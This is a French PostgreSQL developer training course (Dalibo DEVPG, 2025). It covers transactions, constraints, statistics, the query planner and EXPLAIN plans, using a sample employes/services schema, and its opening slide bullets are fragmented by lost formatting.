Formation DEVPG
Dalibo SCOP
25.03
12 mars 2025
Formation | Formation DEVPG |
Titre | Développer avec PostgreSQL |
Révision | 25.03 |
ISBN | N/A |
https://dali.bo/devpg_pdf | |
EPUB | https://dali.bo/devpg_epub |
HTML | https://dali.bo/devpg_html |
Slides | https://dali.bo/devpg_slides |
Cette formation est sous licence CC-BY-NC-SA. Vous êtes libre de la redistribuer et/ou modifier aux conditions suivantes :
PostgreSQL® Postgres® et le logo Slonik sont des marques déposées par PostgreSQL Community Association of Canada.
Ce document ne couvre que les versions supportées de PostgreSQL au moment de sa rédaction, soit les versions 13 à 17.
Quelle version utiliser ?
De M.m à M.m+n :
jsonb
pg_stat_progress_basebackup
,
pg_stat_progress_analyze
pg_stat_progress_copy
, pg_stat_wal
,
pg_lock.waitstart
, query_id
…MERGE
DISTINCT
parallélisablepublic
n’est plus accessible en écriture à tousDISTINCT
…)pg_hba.conf
pg_stat_io
…VACUUM
IN
et CTEJSON_TABLE
…pg_basebackup
+
pg_combinebackup
)pg_createsubscriber
)pg_dump --filter
COPY
peut rejeter des lignes,
MERGE
)Au premier semestre 2025 :
Entre de nombreux autres :
PostgreSQL n’est que le moteur ! Besoin d’outils pour :
Entre autres, dédiés ou pas :
N’hésitez pas, c’est le moment !
Fonctionnalités du moteur
Objets SQL
Connaître les différentes fonctionnalités et possibilités
Découvrir des exemples concrets
Gestion transactionnelle : la force des bases de données relationnelles :
BEGIN
obligatoire pour grouper des modificationsCOMMIT
pour valider
ROLLBACK
/ perte de la connexion / arrêt (brutal ou
non) du serveurSAVEPOINT
pour sauvegarde des modifications d’une
transaction à un instant t
BEGIN ISOLATION LEVEL xxx;
read commited
(défaut)repeatable read
serializable
COMMIT
), intégrité,
durabilitépg_dump
, pg_dumpall
,
pg_restore
pg_basebackup
CREATE EXTENSION monextension ;
pg_hba.conf
search_path
pg_catalog
, information_schema
Par défaut, une table est :
int
, float
numeric
, char
,
varchar
, date
, time
,
timestamp
, bool
jsonb
), XMLCHECK
prix > 0
NOT NULL
id_client NOT NULL
id_client UNIQUE
UNIQUE NOT NULL
==>
PRIMARY KEY (id_client)
produit_id REFERENCES produits(id_produit)
EXCLUDE
EXCLUDE USING gist (room WITH =, during WITH &&)
DEFAULT
GENERATED { ALWAYS | BY DEFAULT } AS IDENTITY
GENERATED ALWAYS AS ( generation_expr ) STORED
SETOF
ou TABLE
pour plusieurs lignesINSERT
, UPDATE
,
DELETE
, TRUNCATE
FOR STATEMENT
)FOR EACH ROW
)N’hésitez pas, c’est le moment !
EXPLAIN
Le modèle vise à minimiser un coût :
ANALYZE
EXPLAIN
QUERY PLAN
---------------------------------------------------------------
Sort (cost=21.64..21.67 rows=9 width=8)
(actual time=0.493..0.498 rows=9 loops=1)
Sort Key: c1
Sort Method: quicksort Memory: 25kB
-> Seq Scan on t1 (cost=0.00..21.50 rows=9 width=8)
(actual time=0.061..0.469 rows=9 loops=1)
Filter: (c2 < 10)
Rows Removed by Filter: 991
Planning Time: 0.239 ms
Execution Time: 0.606 ms
QUERY PLAN
---------------------------------------------------------
Sort (cost=17.64..17.67 rows=9 width=8)
(actual time=0.126..0.127 rows=9 loops=1)
Sort Key: c1
Sort Method: quicksort Memory: 25kB
Buffers: shared hit=3 read=5
-> Seq Scan on t1 (cost=0.00..17.50 rows=9 width=8)
(actual time=0.017..0.106 rows=9 loops=1)
Filter: (c2 < 10)
Rows Removed by Filter: 991
Buffers: shared read=5
QUERY PLAN
----------------------------------------------------
Insert on t1 (cost=0.00..10.00 rows=1000 width=8)
(actual time=8.078..8.079 rows=0 loops=1)
WAL: records=2017 fpi=3 bytes=162673
-> Function Scan on generate_series i
(cost=0.00..10.00 rows=1000 width=8)
(actual time=0.222..0.522 rows=1000 loops=1)
Planning Time: 0.076 ms
Execution Time: 8.141 ms
QUERY PLAN
-----------------------------------------------------------------------
Seq Scan on public.demotoast (cost=0.00..177.00 rows=1000 width=1196) (actual time=0.012..0.182 rows=1000 loops=1)
Output: i, t, png, j
Buffers: shared hit=167
Query Identifier: 698565989149231362
Planning Time: 0.055 ms
Serialization: time=397.480 ms output=307084kB format=text
Buffers: shared hit=14500
Execution Time: 397.776 ms
VERBOSE
MEMORY
COSTS OFF
TIMING OFF
SUMMARY
FORMAT
QUERY PLAN
---------------------------------------------------------
Sort (cost=52.14..52.21 rows=27 width=8) (actual time=1.359..1.366 rows=27 loops=1)
…
Buffers: shared hit=3 read=14
I/O Timings: read=0.388
-> Seq Scan on t1 (cost=0.00..51.50 rows=27 width=8) (actual time=0.086..1.233 rows=27 loops=1)
Filter: (c2 < 10)
Rows Removed by Filter: 2973
Buffers: shared read=14
I/O Timings: read=0.388
Planning:
Buffers: shared hit=43 read=14
I/O Timings: read=0.469
Planning Time: 1.387 ms
Execution Time: 1.470 ms
BUFFERS
)track_io_timing
)EXISTS
, IN
et certaines jointures
externes
DISTINCT
)UNION ALL
), Except,
IntersectEXPLAIN
EXPLAIN ANALYZE
EXPLAIN [ANALYZE]
N’hésitez pas, c’est le moment !
Tous les TP se basent sur la configuration par défaut de PostgreSQL, sauf précision contraire.
L’optimisation doit porter sur :
postgresql.conf
& co« 80% des effets sont produits par 20% des causes. » (Principe de Pareto)
Seul un certain nombre de requêtes sont critiques
Quelques profilers :
Le SQL :
Les opérateurs purement relationnels :
SELECT
WHERE
FROM/JOIN
Les autres opérateurs sont non-relationnels :
ORDER BY
GROUP BY/DISTINCT
HAVING
Le volume de données récupéré a un impact sur les performances.
SQL : langage ensembliste
Un Semi Join peut être très efficace (il ne lit pas tout)
EXISTS
(si index
disponible)Ces sous-requêtes sont strictement équivalentes (Semi-join) :
SELECT * FROM t1
WHERE fk IN ( SELECT pk FROM t2 WHERE … )
SELECT * FROM t1
WHERE EXISTS ( SELECT 1 FROM t2 WHERE t2.pk = t1.fk AND … )
SELECT t1.*
FROM t1 LEFT JOIN t2 ON (t1.fk=t2.pk)
WHERE
t2.id IS NULL
(Et Anti-join pour les variantes avec NOT
)
NOT IN
: préférer
NOT EXISTS
Une vue est une requête pré-déclarée en base.
DISTINCT
, GROUP BY
etc.
L’accès aux données est coûteux.
gram.y
de 19000 lignesSe connecter coûte cher :
→ Maintenir les connexions côté applicatif, ou utiliser un pooler.
WITH
)Le schéma est la modélisation des données
Les moteurs SQL sont très efficaces, et évoluent en permanence
CASE
, etc.--
et /* */
Prendre de la distance vis-à-vis des spécifications fonctionnelles (bis) :
COUNT(*)
COMMIT
ROLLBACK
COMMIT
synchronous_commit = off
(…si perte
possible)« Verrous mortels » : comment les éviter ?
Divers seuils possibles, jamais globalement.
Paramètre | Cible du seuil |
---|---|
lock_timeout |
Attente de verrou |
statement_timeout |
Ordre en cours |
idle_session_timeout |
Session inactive |
idle_in_transaction_session_timeout |
Transaction en cours, inactive |
transaction_timeout
(v17) |
Transaction en cours |
Écrire sur plusieurs nœuds ?
UNIQUE
(préférer la contrainte)<
, <=
,
=
, >=
, >
SELECT name FROM ma_table WHERE id = 22
C’est souvent tout à fait normal
VACUUM
fréquentCREATE INDEX … CONCURRENTLY
peut échouerDe nombreuses possibilités d’indexation avancée :
IMMUTABLE
!
ANALYZE
après création d’un index
fonctionnel
WHERE
varchar_pattern_ops
:
ANALYZE
et autovacuum
WHERE
ou
JOIN
pg_statistic
(par colonne),
pg_statistic_ext
…pg_stats
(par colonne),
pg_stats_ext
et pg_stats_ext_exprs
ANALYZE
-[ RECORD 1 ]----------+-----------------------------------------------
schemaname | public
tablename | employes
attname | date_embauche
n_distinct | -0.5
-[ RECORD 1 ]-----+----------------------------------------------------
schemaname | public
tablename | employes
attname | date_embauche
most_common_vals | {2006-03-01,2006-09-01,2000-06-01,2005-03-06,2006-01-01}
most_common_freqs | {0.214286,0.214286,0.142857,0.142857,0.142857}
-[ RECORD 1 ]----------+-----------------------------------------------
schemaname | public
tablename | employes
attname | date_embauche
histogram_bounds | {2003-01-01,2006-06-01}
NULL
)ANALYZE
si toutes les valeurs
sont dans les MCV-[ RECORD 1 ]----------+-----------------------------------------------
schemaname | public
tablename | employes
attname | date_embauche
correlation | 1
-[ RECORD 1 ]----------+-----------------------------------------------
schemaname | public
tablename | employes
attname | date_embauche
avg_width | 4
NULL
de taille variable
(text
, json
, jsonb
, binaires,
etc.)integer
,
boolean
, char
, etc.)default_statistics_target
= 100-- Configurable pour chaque colonne
ALTER TABLE t ALTER COLUMN c SET STATISTICS 300 ;
-- Configurable pour chaque statistique étendue
ALTER STATISTICS nom SET STATISTICS valeur ;
ANALYZE
pour rafraîchir les statistiquesCREATE STATISTICS
ANALYZE
après la créationpg_stat_ext
Vues disponibles :
pg_stats_ext
pg_stats_ext_exprs
(pour les expressions, v14)ANALYZE
VACUUM ANALYZE
vacuumdb --analyze / --analyze-only
autovacuum
autovacuum_analyze_*
pg_stat_user_tables
autovacuum
fait l’ANALYZE
mais…
cron
psql -c "ANALYZE"
vacuumdb --analyze-only
Les statistiques sont-elles à jour ?
ANALYZE
N’hésitez pas, c’est le moment !
Face à un problème de performances, l’administrateur se retrouve assez rapidement face à une (ou plusieurs) requête(s). Une requête en soi représente très peu d’informations. Suivant la requête, des dizaines de plans peuvent être sélectionnés pour l’exécuter. Il est donc nécessaire de pouvoir trouver le plan d’exécution et de comprendre ce plan. Cela permet de mieux appréhender la requête et de mieux comprendre les pistes envisageables pour la corriger.
Ce qui suit se concentrera sur les plans d’exécution.
EXPLAIN
Nous ferons quelques rappels et approfondissements sur la façon dont une requête s’exécute globalement, et sur le planificateur : en quoi est-il utile, comment fonctionne-t-il, et comment le configurer.
Nous ferons un tour sur le fonctionnement de la commande
EXPLAIN
et les informations qu’elle fournit. Nous verrons
aussi plus en détail l’ensemble des opérations utilisables par le
planificateur, et comment celui-ci choisit un plan.
L’exécution d’une requête peut se voir sur deux niveaux :
Une lenteur dans une requête peut se trouver dans l’un ou l’autre de ces niveaux.
PostgreSQL est un système client-serveur. L’utilisateur se connecte via un outil (le client) à une base d’une instance PostgreSQL (le serveur). L’outil peut envoyer une requête au serveur, celui-ci l’exécute et finit par renvoyer les données résultant de la requête ou le statut de la requête.
Généralement, l’envoi de la requête est rapide. Par contre, la récupération des données peut poser problème si une grosse volumétrie est demandée sur un réseau à faible débit. L’affichage peut aussi être un problème (afficher une ligne sera plus rapide qu’afficher un million de lignes, afficher un entier est plus rapide qu’afficher un document texte de 1 Mo, etc.).
Lorsque le serveur récupère la requête, un ensemble de traitements est réalisé.
Tout d’abord, le parser va réaliser une analyse syntaxique de la requête.
Puis le rewriter va réécrire, si nécessaire, la requête. Pour cela, il prend en compte les règles, les vues non matérialisées et les fonctions SQL.
Si une règle demande de changer la requête, la requête envoyée est remplacée par la nouvelle.
Si une vue non matérialisée est utilisée, la requête qu’elle contient est intégrée dans la requête envoyée. Il en est de même pour une fonction SQL intégrable.
Ensuite, le planner va générer l’ensemble des plans d’exécutions. Il calcule le coût de chaque plan, puis il choisit le plan le moins coûteux, donc le plus intéressant.
Enfin, l’executer exécute la requête.
Pour cela, il doit commencer par récupérer les verrous nécessaires sur les objets ciblés. Une fois les verrous récupérés, il exécute la requête.
Une fois la requête exécutée, il envoie les résultats à l’utilisateur.
Plusieurs goulets d’étranglement sont visibles ici. Les plus importants sont :
Il est possible de tracer l’exécution des différentes étapes grâce
aux options log_parser_stats
,
log_planner_stats
et log_executor_stats
. Voici
un exemple complet :
SET log_parser_stats TO on;
SET log_planner_stats TO on;
SET log_executor_stats TO on;
SET client_min_messages TO log;
LOG: PARSER STATISTICS
DÉTAIL : ! system usage stats:
! 0.000026 s user, 0.000017 s system, 0.000042 s elapsed
! [0.013275 s user, 0.008850 s system total]
! 17152 kB max resident size
! 0/0 [0/368] filesystem blocks in/out
! 0/3 [0/575] page faults/reclaims, 0 [0] swaps
! 0 [0] signals rcvd, 0/0 [0/0] messages rcvd/sent
! 0/0 [5/0] voluntary/involuntary context switches
LOG: PARSE ANALYSIS STATISTICS
DÉTAIL : ! system usage stats:
! 0.000396 s user, 0.000263 s system, 0.000660 s elapsed
! [0.013714 s user, 0.009142 s system total]
! 19476 kB max resident size
! 0/0 [0/368] filesystem blocks in/out
! 0/32 [0/607] page faults/reclaims, 0 [0] swaps
! 0 [0] signals rcvd, 0/0 [0/0] messages rcvd/sent
! 0/0 [5/0] voluntary/involuntary context switches
LOG: REWRITER STATISTICS
DÉTAIL : ! system usage stats:
! 0.000010 s user, 0.000007 s system, 0.000016 s elapsed
! [0.013747 s user, 0.009165 s system total]
! 19476 kB max resident size
! 0/0 [0/368] filesystem blocks in/out
! 0/1 [0/608] page faults/reclaims, 0 [0] swaps
! 0 [0] signals rcvd, 0/0 [0/0] messages rcvd/sent
! 0/0 [5/0] voluntary/involuntary context switches
DÉTAIL : ! system usage stats:
! 0.000255 s user, 0.000170 s system, 0.000426 s elapsed
! [0.014021 s user, 0.009347 s system total]
! 19476 kB max resident size
! 0/0 [0/368] filesystem blocks in/out
! 0/25 [0/633] page faults/reclaims, 0 [0] swaps
! 0 [0] signals rcvd, 0/0 [0/0] messages rcvd/sent
! 0/0 [5/0] voluntary/involuntary context switches
LOG: EXECUTOR STATISTICS
DÉTAIL : ! system usage stats:
! 0.044788 s user, 0.004177 s system, 0.131354 s elapsed
! [0.058917 s user, 0.013596 s system total]
! 46268 kB max resident size
! 0/0 [0/368] filesystem blocks in/out
! 0/468 [0/1124] page faults/reclaims, 0 [0] swaps
! 0 [0] signals rcvd, 0/0 [0/0] messages rcvd/sent
! 4/16 [9/16] voluntary/involuntary context switches
CALL
)TRUNCATE
et COPY
Il existe quelques requêtes qui échappent à la séquence d’opérations
présentées précédemment. Toutes les opérations DDL (modification de la
structure de la base), les instructions TRUNCATE
et
COPY
(en partie) sont vérifiées syntaxiquement, puis
directement exécutées. Les étapes de réécriture et de planification ne
sont pas réalisées.
Le principal souci pour les performances sur ce type d’instructions est donc l’obtention des verrous et l’exécution réelle.
WHERE
Un prédicat est une condition de filtrage présente dans la clause
WHERE
d’une requête. Par exemple
colonne = valeur
. On parle aussi de prédicats de jointure
pour les conditions de jointures présentes dans la clause
WHERE
ou suivant la clause ON
d’une
jointure.
La sélectivité est liée à l’application d’un prédicat sur une table. Elle détermine le nombre de lignes remontées par la lecture d’une relation suite à l’application d’une clause de filtrage, ou prédicat. Elle peut être vue comme un coefficient de filtrage d’un prédicat. La sélectivité est exprimée sous la forme d’un pourcentage. Pour une table de 1000 lignes, si la sélectivité d’un prédicat est de 10 %, la lecture de la table en appliquant le prédicat devrait retourner 10 % des lignes, soit 100 lignes.
La cardinalité représente le nombre de lignes d’une relation. En d’autres termes, la cardinalité représente le nombre de lignes d’une table ou de la sortie d’un nœud. Elle représente aussi le nombre de lignes retournées par la lecture d’une table après application d’un ou plusieurs prédicats.
services
: 4 lignesservices_big
: 40 000 lignesemployes
: 14 lignesemployes_big
: ~500 000 lignesservice*
.num_service
(clés primaires)employes*
.matricule
(clés primaires)employes*
.date_embauche
employes_big
.num_service
(clé
étrangère)Les deux volumétries différentes vont permettre de mettre en évidence certains effets.
Les tables suivantes nous serviront d’exemple par la suite. Le script de création se télécharge et s’installe ainsi dans une nouvelle base employes :
curl -kL https://dali.bo/tp_employes_services -o employes_services.sql
createdb employes
psql employes < employes_services.sql
Les quelques tables occupent environ 80 Mo sur le disque.
-- suppression des tables si elles existent
DROP TABLE IF EXISTS services CASCADE;
DROP TABLE IF EXISTS services_big CASCADE;
DROP TABLE IF EXISTS employes CASCADE;
DROP TABLE IF EXISTS employes_big CASCADE;
-- définition des tables
CREATE TABLE services (
num_service serial PRIMARY KEY,
nom_service character varying(20),
localisation character varying(20),
departement integer,
date_creation date
);
CREATE TABLE services_big (
num_service serial PRIMARY KEY,
nom_service character varying(20),
localisation character varying(20),
departement integer,
date_creation date
);
CREATE TABLE employes (
matricule serial primary key,
nom varchar(15) not null,
prenom varchar(15) not null,
fonction varchar(20) not null,
manager integer,
date_embauche date,
num_service integer not null references services (num_service)
);
CREATE TABLE employes_big (
matricule serial primary key,
nom varchar(15) not null,
prenom varchar(15) not null,
fonction varchar(20) not null,
manager integer,
date_embauche date,
num_service integer not null references services (num_service)
);
-- ajout des données
INSERT INTO services
VALUES
(1, 'Comptabilité', 'Paris', 75, '2006-09-03'),
(2, 'R&D', 'Rennes', 40, '2009-08-03'),
(3, 'Commerciaux', 'Limoges', 52, '2006-09-03'),
(4, 'Consultants', 'Nantes', 44, '2009-08-03');
INSERT INTO services_big (nom_service, localisation, departement, date_creation)
VALUES
('Comptabilité', 'Paris', 75, '2006-09-03'),
('R&D', 'Rennes', 40, '2009-08-03'),
('Commerciaux', 'Limoges', 52, '2006-09-03'),
('Consultants', 'Nantes', 44, '2009-08-03');
INSERT INTO services_big (nom_service, localisation, departement, date_creation)
SELECT s.nom_service, s.localisation, s.departement, s.date_creation
FROM services s, generate_series(1, 10000);
INSERT INTO employes VALUES
(33, 'Roy', 'Arthur', 'Consultant', 105, '2000-06-01', 4),
(81, 'Prunelle', 'Léon', 'Commercial', 97, '2000-06-01', 3),
(97, 'Lebowski', 'Dude', 'Responsable', 104, '2003-01-01', 3),
(104, 'Cruchot', 'Ludovic', 'Directeur Général', NULL, '2005-03-06', 3),
(105, 'Vacuum', 'Anne-Lise', 'Responsable', 104, '2005-03-06', 4),
(119, 'Thierrie', 'Armand', 'Consultant', 105, '2006-01-01', 4),
(120, 'Tricard', 'Gaston', 'Développeur', 125, '2006-01-01', 2),
(125, 'Berlicot', 'Jules', 'Responsable', 104, '2006-03-01', 2),
(126, 'Fougasse', 'Lucien', 'Comptable', 128, '2006-03-01', 1),
(128, 'Cruchot', 'Josépha', 'Responsable', 105, '2006-03-01', 1),
(131, 'Lareine-Leroy', 'Émilie', 'Développeur', 125, '2006-06-01', 2),
(135, 'Brisebard', 'Sylvie', 'Commercial', 97, '2006-09-01', 3),
(136, 'Barnier', 'Germaine', 'Consultant', 105, '2006-09-01', 4),
(137, 'Pivert', 'Victor', 'Consultant', 105, '2006-09-01', 4);
-- on copie la table employes
INSERT INTO employes_big SELECT * FROM employes;
-- duplication volontaire des lignes d'un des employés
INSERT INTO employes_big
SELECT i, nom,prenom,fonction,manager,date_embauche,num_service
FROM employes_big,
LATERAL generate_series(1000, 500000) i
WHERE matricule=137;
-- création des index
CREATE INDEX ON employes(date_embauche);
CREATE INDEX ON employes_big(date_embauche);
CREATE INDEX ON employes_big(num_service);
-- calcul des statistiques sur les nouvelles données
VACUUM ANALYZE;
Cette requête nous servira d’exemple. Elle permet de déterminer les employés basés à Nantes et pour résultat :
matricule | nom | prenom | nom_service | fonction | localisation
-----------+----------+-----------+-------------+-------------+--------------
33 | Roy | Arthur | Consultants | Consultant | Nantes
105 | Vacuum | Anne-Lise | Consultants | Responsable | Nantes
119 | Thierrie | Armand | Consultants | Consultant | Nantes
136 | Barnier | Germaine | Consultants | Consultant | Nantes
137 | Pivert | Victor | Consultants | Consultant | Nantes
En fonction du cache, elle dure de 1 à quelques millisecondes.
L’objet de ce module est de comprendre son plan d’exécution :
Hash Join (cost=1.06..2.28 rows=4 width=48)
Hash Cond: (emp.num_service = ser.num_service)
-> Seq Scan on employes emp (cost=0.00..1.14 rows=14 width=35)
-> Hash (cost=1.05..1.05 rows=1 width=21)
-> Seq Scan on services ser (cost=0.00..1.05 rows=1 width=21)
Filter: ((localisation)::text = 'Nantes'::text)
La directive EXPLAIN
permet de connaître le plan
d’exécution d’une requête. Elle permet de savoir par quelles étapes va
passer le SGBD pour répondre à la requête.
Ce plan montre une jointure par hachage. La table
services
est parcourue intégralement (Seq Scan),
mais elle est filtrée sur le critère sur « Nantes ».
Un hash de la colonne num_service
des lignes
résultantes de ce filtrage est effectué, et comparé aux valeurs
rencontrées lors d’un parcours complet de employes
.
S’affichent également les coûts estimés des opérations et le nombre de lignes que PostgreSQL s’attend à trouver à chaque étape.
Rappels :
Le but du planificateur est assez simple. Pour une requête, il existe de nombreux plans d’exécution possibles. Il va donc tenter d’énumérer tous les plans d’exécution possibles ; même si leur nombre devient vite colossal dans une requête complexe : chaque table peut être accédée selon différents plans, selon l’un ou l’autre critère ou une combinaison, les algorithmes de jointure possibles sont multiples, etc.
Lors de cette énumération des différents plans, il calcule leur coût. Cela lui permet d’en ignorer certains alors qu’ils sont incomplets si leur plan d’exécution est déjà plus coûteux que les autres. Pour calculer le coût, il dispose d’informations sur les données (des statistiques), d’une configuration (réalisée par l’administrateur de bases de données) et d’un ensemble de règles inscrites en dur.
À la fin de l’énumération et du calcul de coût, il ne lui reste plus qu’à sélectionner le plan qui a le plus petit coût, à priori celui qui sera le plus rapide pour la requête demandée. (En toute rigueur, pour réduire le nombre de plans très voisins à étudier, des plans de coûts différents de 1% près peuvent être considérés équivalents, et le coût de démarrage peut alors les départager.)
Le coût d’un plan est une valeur calculée sans unité ni signification physique.
Règle 1 : récupérer le bon résultat
Règle 2 : le plus rapidement possible
Le planificateur suit deux règles :
Cette deuxième règle lui impose de minimiser l’utilisation des ressources : en tout premier lieu les opérations disques vu qu’elles sont les plus coûteuses, mais aussi la charge CPU (charge des CPU utilisés et nombre de CPU utilisés) et l’utilisation de la mémoire.
Dans le cas des opérations disques, s’il doit en faire, il doit souvent privilégier les opérations séquentielles aux dépens des opérations aléatoires (qui demandent un déplacement de la tête de disque, opération la plus coûteuse sur les disques magnétiques).
Pour déterminer le chemin d’exécution le moins coûteux, l’optimiseur devrait connaître précisément les données mises en œuvre dans la requête, les particularités du matériel et la charge en cours sur ce matériel. Cela est impossible. Ce problème est contourné en utilisant deux mécanismes liés l’un à l’autre :
Pour quantifier la charge nécessaire pour répondre à une requête,
PostgreSQL utilise un mécanisme de coût. Il part du principe que chaque
opération a un coût plus ou moins important. Les statistiques sur les
données permettent à l’optimiseur de requêtes de déterminer assez
précisément la répartition des valeurs d’une colonne d’une table, sous
la forme d’histogramme. Il dispose encore d’autres informations comme la
répartition des valeurs les plus fréquentes, le pourcentage de
NULL
, le nombre de valeurs distinctes, etc.
Toutes ces informations aideront l’optimiseur à déterminer la
sélectivité d’un filtre (prédicat de la clause WHERE
,
condition de jointure) et donc la quantité de données récupérées par la
lecture d’une table en utilisant le filtre évalué. Enfin, l’optimiseur
s’appuie sur le schéma de la base de données afin de déterminer
différents paramètres qui entrent dans le calcul du plan d’exécution :
contrainte d’unicité sur une colonne, présence d’une contrainte
NOT NULL
, etc.
critere IN (SELECT ...)
Suppression des jointures externes inutiles
À partir du modèle de données et de la requête soumise, l’optimiseur de PostgreSQL va pouvoir déterminer si une jointure externe n’est pas utile à la production du résultat.
Sous certaines conditions, PostgreSQL peut supprimer des jointures
externes, à condition que le résultat ne soit pas modifié. Dans
l’exemple suivant, il ne sert à rien d’aller consulter la table
services
(ni données à récupérer, ni filtrage à faire, et
même si la table est vide, le LEFT JOIN
ne provoquera la
disparition d’aucune ligne) :
EXPLAIN
SELECT e.matricule, e.nom, e.prenom
FROM employes e
LEFT JOIN services s
ON (e.num_service = s.num_service)
WHERE e.num_service = 4 ;
QUERY PLAN
-----------------------------------------------------------
Seq Scan on employes e (cost=0.00..1.18 rows=5 width=19)
Filter: (num_service = 4)
Toutefois, si le prédicat de la requête est modifié pour s’appliquer
sur la table services
, la jointure est tout de même
réalisée, puisqu’on réalise un test d’existence sur cette table
services
:
EXPLAIN
SELECT e.matricule, e.nom, e.prenom
FROM employes e
LEFT JOIN services s
ON (e.num_service = s.num_service)
WHERE s.num_service = 4;
QUERY PLAN
-----------------------------------------------------------------
Nested Loop (cost=0.00..2.27 rows=5 width=19)
-> Seq Scan on services s (cost=0.00..1.05 rows=1 width=4)
Filter: (num_service = 4)
-> Seq Scan on employes e (cost=0.00..1.18 rows=5 width=23)
Filter: (num_service = 4)
Transformation des sous-requêtes
Certaines sous-requêtes sont transformées en jointure :
EXPLAIN
SELECT *
FROM employes emp
JOIN (SELECT * FROM services WHERE num_service = 1) ser
ON (emp.num_service = ser.num_service) ;
QUERY PLAN
-------------------------------------------------------------------
Nested Loop (cost=0.00..2.25 rows=2 width=64)
-> Seq Scan on services (cost=0.00..1.05 rows=1 width=21)
Filter: (num_service = 1)
-> Seq Scan on employes emp (cost=0.00..1.18 rows=2 width=43)
Filter: (num_service = 1)
La sous-requête ser
a été remontée dans l’arbre de
requête pour être intégrée en jointure.
Application des prédicats au plus tôt
Lorsque cela est possible, PostgreSQL essaye d’appliquer les prédicats au plus tôt :
EXPLAIN
SELECT MAX(date_embauche)
FROM (SELECT * FROM employes WHERE num_service = 4) e
WHERE e.date_embauche < '2006-01-01' ;
QUERY PLAN
------------------------------------------------------------------------------
Aggregate (cost=1.21..1.22 rows=1 width=4)
-> Seq Scan on employes (cost=0.00..1.21 rows=2 width=4)
Filter: ((date_embauche < '2006-01-01'::date) AND (num_service = 4))
Les deux prédicats num_service = 4
et
date_embauche < '2006-01-01'
ont été appliqués en même
temps, réduisant ainsi le jeu de données à considérer dès le départ.
C’est généralement une bonne chose.
Mais en cas de problème, il est possible d’utiliser une CTE
matérialisée (Common Table Expression, clause
WITH … AS MATERIALIZED (…)
) pour bloquer cette optimisation
et forcer PostgreSQL à
exécuter le contenu de la requête en premier. En versions 12 et
ultérieures, une CTE est par défaut non matérialisée et donc intégrée
avec le reste de la requête (du moins dans les cas simples comme
ci-dessus), comme une sous-requête. On retombe exactement sur le plan
précédent :
-- v12 : CTE sans MATERIALIZED (comportement par défaut)
EXPLAIN
WITH e AS ( SELECT * FROM employes WHERE num_service = 4 )
SELECT MAX(date_embauche)
FROM e
WHERE e.date_embauche < '2006-01-01';
QUERY PLAN
------------------------------------------------------------------------------
Aggregate (cost=1.21..1.22 rows=1 width=4)
-> Seq Scan on employes (cost=0.00..1.21 rows=2 width=4)
Filter: ((date_embauche < '2006-01-01'::date) AND (num_service = 4))
Pour recréer la « barrière d’optimisation », il est nécessaire
d’ajouter le mot-clé MATERIALIZED
:
-- v12 : CTE avec MATERIALIZED
EXPLAIN
WITH e AS MATERIALIZED ( SELECT * FROM employes WHERE num_service = 4 )
SELECT MAX(date_embauche)
FROM e
WHERE e.date_embauche < '2006-01-01';
QUERY PLAN
-----------------------------------------------------------------
Aggregate (cost=1.29..1.30 rows=1 width=4)
CTE e
-> Seq Scan on employes (cost=0.00..1.18 rows=5 width=43)
Filter: (num_service = 4)
-> CTE Scan on e (cost=0.00..0.11 rows=2 width=4)
Filter: (date_embauche < '2006-01-01'::date)
La CTE est alors intégralement exécutée avec son filtre propre, avant que le deuxième filtre soit appliqué dans un autre nœud. Jusqu’en version 11 incluse, ce dernier comportement était celui par défaut, et les CTE étaient une source fréquente de problèmes de performances.
Function inlining
Voici deux fonctions, la première écrite en SQL, la seconde en PL/pgSQL :
CREATE OR REPLACE FUNCTION add_months_sql(mydate date, nbrmonth integer)
RETURNS date AS
$BODY$
SELECT ( mydate + interval '1 month' * nbrmonth )::date;
$BODY$
LANGUAGE SQL;
CREATE OR REPLACE FUNCTION add_months_plpgsql(mydate date, nbrmonth integer)
RETURNS date AS
$BODY$
BEGIN RETURN ( mydate + interval '1 month' * nbrmonth ); END;
$BODY$
LANGUAGE plpgsql;
Si l’on utilise la fonction écrite en PL/pgSQL, on retrouve l’appel
de la fonction dans la clause Filter
du plan d’exécution de
la requête :
EXPLAIN (ANALYZE, BUFFERS, COSTS off)
SELECT *
FROM employes
WHERE date_embauche = add_months_plpgsql(now()::date, -1);
QUERY PLAN
------------------------------------------------------------------------------
Seq Scan on employes (actual time=0.354..0.354 rows=0 loops=1)
Filter: (date_embauche = add_months_plpgsql((now())::date, '-1'::integer))
Rows Removed by Filter: 14
Buffers: shared hit=1
Planning Time: 0.199 ms
Execution Time: 0.509 ms
Effectivement, PostgreSQL ne sait pas intégrer le code des fonctions PL/pgSQL dans ses plans d’exécution.
En revanche, en utilisant la fonction écrite en langage SQL, la définition de la fonction est directement intégrée dans la clause de filtrage de la requête :
EXPLAIN (ANALYZE, BUFFERS, COSTS off)
SELECT *
FROM employes
WHERE date_embauche = add_months_sql(now()::date, -1);
QUERY PLAN
---------------------------------------------------------------------------
Seq Scan on employes (actual time=0.014..0.014 rows=0 loops=1)
Filter: (date_embauche = (((now())::date + '-1 mons'::interval))::date)
Rows Removed by Filter: 14
Buffers: shared hit=1
Planning Time: 0.111 ms
Execution Time: 0.027 ms
Le temps d’exécution a été divisé presque par 20 sur ce jeu de données très réduit, montrant l’impact de l’appel d’une fonction dans une clause de filtrage.
Dans les deux cas ci-dessus, PostgreSQL a négligé l’index sur
date_embauche
: la table ne faisait de toute façon qu’un
bloc ! Mais pour de plus grosses tables, l’index sera nécessaire, et la
différence entre fonctions PL/pgSQL et SQL devient alors encore plus
flagrante. Avec la même requête sur la table employes_big
,
beaucoup plus grosse, on obtient ceci :
EXPLAIN (ANALYZE, BUFFERS, COSTS off)
SELECT *
FROM employes_big
WHERE date_embauche = add_months_plpgsql(now()::date, -1);
QUERY PLAN
------------------------------------------------------------------------------
Seq Scan on employes_big (actual time=464.531..464.531 rows=0 loops=1)
Filter: (date_embauche = add_months_plpgsql((now())::date, '-1'::integer))
Rows Removed by Filter: 499015
Buffers: shared hit=4664
Planning:
Buffers: shared hit=61
Planning Time: 0.176 ms
Execution Time: 465.848 ms
La fonction portant sur une « boîte noire », l’optimiseur n’a comme possibilité que le parcours complet de la table.
EXPLAIN (ANALYZE, BUFFERS, COSTS off)
SELECT *
FROM employes_big
WHERE date_embauche = add_months_sql(now()::date, -1);
QUERY PLAN
-------------------------------------------------------------------------------
Index Scan using employes_big_date_embauche_idx on employes_big
(actual time=0.016..0.016 rows=0 loops=1)
Index Cond: (date_embauche = (((now())::date + '-1 mons'::interval))::date)
Buffers: shared hit=3
Planning Time: 0.143 ms
Execution Time: 0.032 ms
